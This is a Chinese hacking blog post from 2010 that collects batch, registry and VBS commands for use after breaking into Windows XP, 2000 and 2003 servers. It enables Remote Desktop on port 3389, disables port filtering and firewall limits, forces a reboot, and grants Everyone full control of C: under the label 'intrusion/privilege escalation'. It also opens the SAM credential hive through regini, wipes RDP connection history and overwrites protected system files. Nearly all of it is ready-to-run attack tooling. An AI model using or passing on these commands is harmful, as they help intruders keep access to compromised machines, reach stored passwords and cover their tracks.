标题:入侵的一些相关批处理 出处:大漠荒颜 时间:Fri, 02 Jul 2010 17:02:11 +0000 作者:北纬36度 地址:http://www.736202.com/read.php/287.htm 内容: Win XP&Win 2003开3389代码: echo windows Registry Editor Version 5.00 >3389.reg echo. >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "fDenyTSConnections"=dword:00000000 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:00000d3d >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000d3d >>3389.reg Win2000开3389: echo windows Registry Editor Version 5.00 >2000.reg echo. >>2000.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\CurrentVersion\netcache] >>2000.reg echo "Enabled"="0" >>2000.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows NT\CurrentVersion\Winlogon] >>2000.reg echo "ShutdownWithoutLogon"="0" >>2000.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\windows\Installer] >>2000.reg echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg echo "TSEnabled"=dword:00000001 >>2000.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg echo "Start"=dword:00000002 >>2000.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg echo "Start"=dword:00000002 >>2000.reg echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg echo "Hotkey"="1" >>2000.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg echo "PortNumber"=dword:00000D3D >>2000.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg echo "PortNumber"=dword:00000D3D >>2000.reg 服务器重启代码: @ECHO OFF & cd/d %temp% & echo [version] > restart.inf (set inf=InstallHinfSection DefaultInstall) echo signature=$chicago$ >> restart.inf echo [defaultinstall] >> restart.inf rundll32 setupapi,%inf% 1 %temp%\restart.inf 一些ghostxp无法连接3389的解决方法: windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\Root\\RDPDR\\0000] "ClassGUID"="{4D36E97D-E325-11CE-BFC1-08002BE10318}" "Class"="System" "HardwareID"=hex(7):52,00,4f,00,4f,00,54,00,5c,00,52,00,44,00,50,00,44,00,52,\\ 00,00,00,00,00 "Driver"="{4D36E97D-E325-11CE-BFC1-08002BE10318}\\\\0030" "Mfg"="(标准系统设备)" "Service"="rdpdr" "DeviceDesc"="终端服务器设备重定向器" "ConfigFlags"=dword:00000000 "Capabilities"=dword:00000000 这个注册表文件开始是没权限导入的。。要结合regini命令加上控制权限才行咯。自己手动图形界面也行。。 devcon -r install %windir%\inf\machine.inf root\rdpdr decon是xp自带的终端服务器设备重定器 (有的系统有有的没) 还有个开3389的VBS版本也发给大家看看吧。。 on error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set StdOut = WScript.StdOut Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ strComputer & "\root\default:StdRegProv") strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server" strValueName = "fDenyTSConnections" dwValue = 0 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" strValueName = "PortNumber" dwValue = 3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" strValueName = "PortNumber" dwValue = 3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue 关闭TCP/IP端口筛选 (需重启) REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f 取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制 REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\ GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled:@xpsp2res.dll,-22009 /f 更改终端端口为3800(0x0ED8) REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x0ED8 /f REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x0ED8 /f 入侵/提权:cacls.exe c: /e /t /g everyone:F (设置everyone对c盘拥有所有权限) 还有个关于regini的使用的bat作用是增加注册表sam下的控制权限。 echo \registry\machine\sam\sam [1 17] > regini.ini echo \registry\machine\sam\sam\domains [1 17] >> regini.ini echo \registry\machine\sam\sam\domains\account [1 17] >> regini.ini echo \registry\machine\sam\sam\domains\account\users [1 17] >> regini.ini echo \registry\machine\sam\sam\domains\account\users\000001F4 [1 17] >> regini.ini echo \registry\machine\sam\sam\domains\account\users\000001F5 [1 17] >> regini.ini regini regini.ini 删除3389连接历史记录: HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default 将右边MRU0~MRUN中你不想要的主机地址删掉就可以了。 XP有一个很无敌的命令----很有用 用来替换文件的replace,连正在使用的文件也能替换。非常无敌。 用这个命令来替换系统文件真是太爽了,并且XP的系统文件保护也对它无效。 再也不用到安全模式下去替换文件了 格式 REPLACE [drive1:][path1]filename [drive2:][path2] [/A] [/P] [/R] [/W] REPLACE [drive1:][path1]filename [drive2:][path2] [/P] [/R] [/S] [/W] [drive1:][path1]filename 指定源文件。 [drive2:][path2] 指定要替换文件的 目录。 /A 把新文件加入目标目录。不能和 /S 或 /U 命令行开关搭配使用。 /P 替换文件或加入源文件之前会先提示您 进行确认。 /R 替换只读文件以及未受保护的 文件。 /S 替换目标目录中所有子目录的文件。 不能与 /A 命令选项 搭配使用。 /W 等您插入磁盘以后再运行。 /U 只会替换或更新比源文件日期早的文件。 不能与 /A 命令行开关搭配使用。 Generated by Bo-blog 2.1.1 Release